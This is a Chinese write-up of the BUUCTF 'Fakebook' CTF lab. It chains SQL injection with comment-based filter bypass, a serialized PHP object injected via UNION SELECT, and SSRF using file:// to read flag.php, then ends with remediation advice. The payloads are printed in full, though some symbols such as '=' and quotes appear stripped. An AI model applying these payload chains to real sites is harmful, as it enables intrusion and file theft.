1. 漏洞环境与初步探测这次我们要分析的靶机是BUUCTF平台上的[网鼎杯 2018]Fakebook题目。打开题目首先看到一个社交博客网站页面显示用户信息列表典型的用户详情页URL格式为view.php?no1。这种带数字参数传递的场景第一反应就是测试SQL注入可能性。我先用最基础的单引号测试?no1页面返回了SQL语法错误这个反应非常直接。接着尝试?no1 -- -想注释掉后续语句发现不生效看来过滤了注释符。改用数字型注入测试?no1 and 11--页面正常?no1 and 12--页面异常确认存在数字型SQL注入。这里有个细节要注意--中的加号会被解析为空格这是绕过WAF的常用技巧。通过?no1 order by 4--测试字段数当尝试order by 5时报错确认当前表有4个字段。接下来用联合查询定位回显点?no-1 union select 1,2,3,4--发现页面过滤了union等关键词这时候就需要用到内联注释/**/来绕过?no-1/**/union/**/select/**/1,2,3,4--最终确定2号位是有效回显点。2. 数据库信息收集确认注入点后开始系统性地收集数据库信息。首先获取当前数据库名?no-1/**/union/**/select/**/1,database(),3,4--返回数据库名为fakebook。接着枚举数据表?no-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemafakebook/**/limit/**/0,1),3,4--发现只有users一张表。继续爆破字段名时遇到限制——每次只能显示一个字段内容需要用limit逐行获取?no-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schemafakebook/**/and/**/table_nameusers/**/limit/**/0,1),3,4--最终确认四个字段no、username、passwd和关键的data字段。尝试直接读取data字段内容?no-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--返回的数据看起来像是序列化后的字符串这个发现让攻击面突然扩大——可能涉及反序列化漏洞。3. 源码审计与反序列化利用在发现可疑的序列化数据后我立即检查了网站的robots.txt文件成功下载到关键源码userinfo.php。分析代码发现定义了一个UserInfo类其中特别值得注意的是getBlogContents()方法public function getBlogContents () { return $this-get($this-blog); }该方法会通过curl访问blog属性指定的URL。结合之前发现的data字段存储序列化对象的特点可以构造SSRF攻击链通过SQL注入插入恶意序列化数据触发服务端反序列化后访问内部服务。构造payload的PHP代码如下?php class UserInfo { public $name admin; public $age 18; public $blog file:///var/www/html/flag.php; } echo serialize(new UserInfo()); ?生成的序列化字符串为O:8:UserInfo:3:{s:4:name;s:5:admin;s:3:age;i:18;s:4:blog;s:22:file:///var/www/html/flag.php;}4. 链式攻击完整利用将构造好的payload通过SQL注入写入数据库?no-1/**/union/**/select/**/1,2,3,O:8:UserInfo:3:{s:4:name;s:5:admin;s:3:age;i:18;s:4:blog;s:22:file:///var/www/html/flag.php;}--访问该页面后查看源码会发现页面通过iframe加载了blog的内容。点击iframe链接就能看到flag.php的源码其中包含我们需要的flag。这个案例的巧妙之处在于漏洞链的构造首先利用SQL注入获取数据库信息发现存储的序列化数据后审计源码通过反序列化触发SSRF利用file协议读取服务器文件5. 漏洞修复建议针对这类链式攻击防御需要多层防护SQL注入防护使用预编译语句严格过滤输入参数关闭错误回显反序列化安全避免反序列化用户可控数据使用白名单校验反序列化类对__wakeup()和__destruct()方法进行安全审计SSRF防护限制curl访问的内网IP禁用危险协议如file://对URL参数进行严格校验在实际开发中我曾遇到过类似案例当时是通过在反序列化前增加签名验证来解决的。每个序列化数据都需要携带服务器生成的签名有效防止了数据篡改。